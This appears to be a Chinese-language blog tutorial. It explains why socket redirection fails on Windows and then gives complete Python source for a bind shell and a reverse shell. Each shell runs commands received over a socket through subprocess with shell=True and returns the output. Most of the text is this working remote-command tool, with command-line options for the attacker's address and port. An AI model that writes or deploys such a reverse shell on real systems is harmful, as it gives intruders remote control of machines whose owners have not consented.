Windows下的shell原理
经过查阅资料,使用os.dup2(nfd, ofd)的方式重定向socket的输入输出到windows系统的cmd是无法做到的,属于系统原因,不能直接复制Linux下的方案,所以只能写程序收集socket的输入,调用subprocess.Popen去执行,然后获取输出后在返回给socket。
Python源代码
# -*- coding:utf-8 -*-
# 引入依赖的库、包、模块
import os
import select
import socket
import subprocess
from optparse import OptionParser
# 定义shell函数
def BindConnect(addr, port):
\'\'\'正向连接shell\'\'\'
try:
shell = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
shell.bind((addr,port))
shell.listen(1)
except Exception as reason:
print (\'[-] Failed to Create Socket : %s\'%reason)
exit(0)
client, addr = shell.accept()
rlist = [shell, client]
wlist = []
elist = [shell, client]
while True:
client.send("bobac\'s-shell#")
rs,ws,es = select.select(rlist,wlist,wlist)
for sockfd in rs:
if sockfd == client:
command = client.recv(1024)
if command == \'exit\':
shell.close()
client.close()
break
result, error = subprocess.Popen(command,shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE).communicate()
client.sendall(result.decode("GB2312").encode("UTF-8"))
def ReserveConnect(addr, port):
\'\'\'反弹连接shell\'\'\'
try:
shell = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
shell.connect((addr,port))
except Exception as reason:
print (\'[-] Failed to Create Socket : %s\'%reason)
exit(0)
rlist = [shell]
wlist = []
elist = [shell]
while True:
shell.send("bobac\'s-shell#")
rs,ws,es = select.select(rlist,wlist,wlist)
for sockfd in rs:
if sockfd == shell:
command = shell.recv(1024)
if command == \'exit\':
shell.close()
break
result, error = subprocess.Popen(command,shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE).communicate()
shell.sendall(result.decode("GB2312").encode("UTF-8"))
# 主函数运行
if __name__ == "__main__":
optParser = OptionParser()
optParser.add_option(\'-r\',\'--reverse\', action=\'store_true\', dest=\'reverse\')
optParser.add_option(\'-b\',\'--bind\', action=\'store_true\', dest=\'bind\')
optParser.add_option("-a","--addr", dest="addr")
optParser.add_option("-p","--port", dest="port")
options , args = optParser.parse_args()
if options.reverse:
ReserveConnect(options.addr, int(options.port))
elif options.bind:
BindConnect(options.addr, int(options.port))
运行效果如图